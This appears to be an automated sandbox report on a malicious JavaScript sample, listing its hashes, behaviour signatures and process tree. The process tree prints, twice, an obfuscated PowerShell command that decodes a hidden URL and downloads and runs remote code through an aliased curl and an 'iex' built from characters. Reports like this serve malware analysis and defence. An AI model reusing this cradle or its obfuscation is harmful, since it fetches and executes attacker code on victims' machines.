Analysis

  • max time kernel
    94s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 14:45

General

  • Target

    84bca49e22af81e7e7e34ad3ad995c5004cbef1fb01542d2ccb7599425e0f5e7.js

  • Size

    181KB

  • MD5

    e2dfa56c2ec7e4376ef630de47f610bf

  • SHA1

    4188ba70e5c1c6e62a1480490db1f476830090e7

  • SHA256

    84bca49e22af81e7e7e34ad3ad995c5004cbef1fb01542d2ccb7599425e0f5e7

  • SHA512

    66fc2414565ddc5e849ce70d1a5121f0b27f9024f0304964ccd546eeae374db279afc685a9b0b5abee11afbc24858096e1ce7e3f69b67e7fb7e326ecabf60e13

  • SSDEEP

    3072:nD6z9By3qoE0Yz9By3qoC0t07z9By3qoez9By3qo8:DAk3qhk3qHk3qBk3qx

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\84bca49e22af81e7e7e34ad3ad995c5004cbef1fb01542d2ccb7599425e0f5e7.js
    1⤵
      PID:5092
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $hglqbix='ur' ;new-alias printout c$($hglqbix)l;$yhbzwc=(1805,1816,1824,1808,1810,1805,1825,1824,1829,1762,1824,1758,1805,1753,1823,1818,1819,1754,1756,1753,1819,1811,1819,1770,1822,1768,1816,1812,1817,1823,1822,1757,1756);$ivwqpjldt=('bronx','get-cmdlet');$clwsuoteadb=$yhbzwc;foreach($apohlfdsy in $clwsuoteadb){$jovnhyasbeqkrx=$apohlfdsy;$elhauny=$elhauny+[char]($jovnhyasbeqkrx-1707);$ktwoleabhnj=$elhauny; $xnfsgumcekivzo=$ktwoleabhnj};$asqfylrhozbtc[2]=$xnfsgumcekivzo;$tdvnor='rl';$qbrgyd=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xnfsgumcekivzo)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $hglqbix='ur' ;new-alias printout c$($hglqbix)l;$yhbzwc=(1805,1816,1824,1808,1810,1805,1825,1824,1829,1762,1824,1758,1805,1753,1823,1818,1819,1754,1756,1753,1819,1811,1819,1770,1822,1768,1816,1812,1817,1823,1822,1757,1756);$ivwqpjldt=('bronx','get-cmdlet');$clwsuoteadb=$yhbzwc;foreach($apohlfdsy in $clwsuoteadb){$jovnhyasbeqkrx=$apohlfdsy;$elhauny=$elhauny+[char]($jovnhyasbeqkrx-1707);$ktwoleabhnj=$elhauny; $xnfsgumcekivzo=$ktwoleabhnj};$asqfylrhozbtc[2]=$xnfsgumcekivzo;$tdvnor='rl';$qbrgyd=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xnfsgumcekivzo)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4636

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyvanry2.5u2.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4636-0-0x00007FFCD3F43000-0x00007FFCD3F45000-memory.dmp

      Filesize

      8KB

    • memory/4636-10-0x0000018041BD0000-0x0000018041BF2000-memory.dmp

      Filesize

      136KB

    • memory/4636-11-0x00007FFCD3F40000-0x00007FFCD4A01000-memory.dmp

      Filesize

      10.8MB

    • memory/4636-12-0x00007FFCD3F40000-0x00007FFCD4A01000-memory.dmp

      Filesize

      10.8MB

    • memory/4636-13-0x00007FFCD3F40000-0x00007FFCD4A01000-memory.dmp

      Filesize

      10.8MB

    • memory/4636-14-0x00007FFCD3F40000-0x00007FFCD4A01000-memory.dmp

      Filesize

      10.8MB

    • memory/4636-15-0x00007FFCD3F43000-0x00007FFCD3F45000-memory.dmp

      Filesize

      8KB

    • memory/4636-16-0x00007FFCD3F40000-0x00007FFCD4A01000-memory.dmp

      Filesize

      10.8MB

    • memory/4636-17-0x00007FFCD3F40000-0x00007FFCD4A01000-memory.dmp

      Filesize

      10.8MB

    • memory/4636-20-0x00007FFCD3F40000-0x00007FFCD4A01000-memory.dmp

      Filesize

      10.8MB